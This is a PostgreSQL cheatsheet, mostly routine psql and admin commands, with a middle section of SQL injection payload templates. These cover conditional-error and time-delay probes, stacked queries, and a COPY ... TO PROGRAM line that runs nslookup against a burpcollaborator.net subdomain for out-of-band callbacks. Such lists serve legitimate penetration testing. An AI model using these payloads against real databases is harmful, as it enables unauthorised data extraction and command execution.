PostgreSQL cheatsheet

List databases

\l

List tables

\dt

List schemas

\dn

List functions

\df

Show columns of a table

\d <table>

or

\d+ <table>

Show function definition

\sf

Edit function definition

\ef

Connection info

\conninfo

Connect to a database

\c <database>

Quit

\q

---

Run psql as postgres

sudo -u postgres psql

---

Backup / restore

Backup:

pg_dump -U {user-name} {source_db} -f {dumpfilename.sql}

Restore:

psql -U {user-name} -d {desintation_db}-f {dumpfilename.sql}

Create user

su - postgres
createuser --interactive

Change user password

su - postgres
psql 
postgres=# \password username

Database version

SELECT version() 

---

Database contents

List tables

SELECT * FROM information_schema.tables

List columns

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

---

Conditions

Conditional error

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END 

---

Stacked queries

QUERY-1-HERE; QUERY-2-HERE 

Time delay

Sleep

SELECT pg_sleep(10) 

Conditional delay

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END 

---

DNS lookup

copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' 

---

Syntax

String concatenation

'foo'||'bar'

Comments

--comment
/*comment*/

Quotes

select 'TEST';
select $$TEST$$;
select $tag$test$tag$;

Display sessions

select * from pg_stat_activity;

or

select datname,pid,usename,client_addr,client_hostname from pg_stat_activity;

or

SELECT pid,datname,usename,application_name,client_hostname,client_port,backend_start,query_start,query FROM pg_stat_activity WHERE state<>'idle';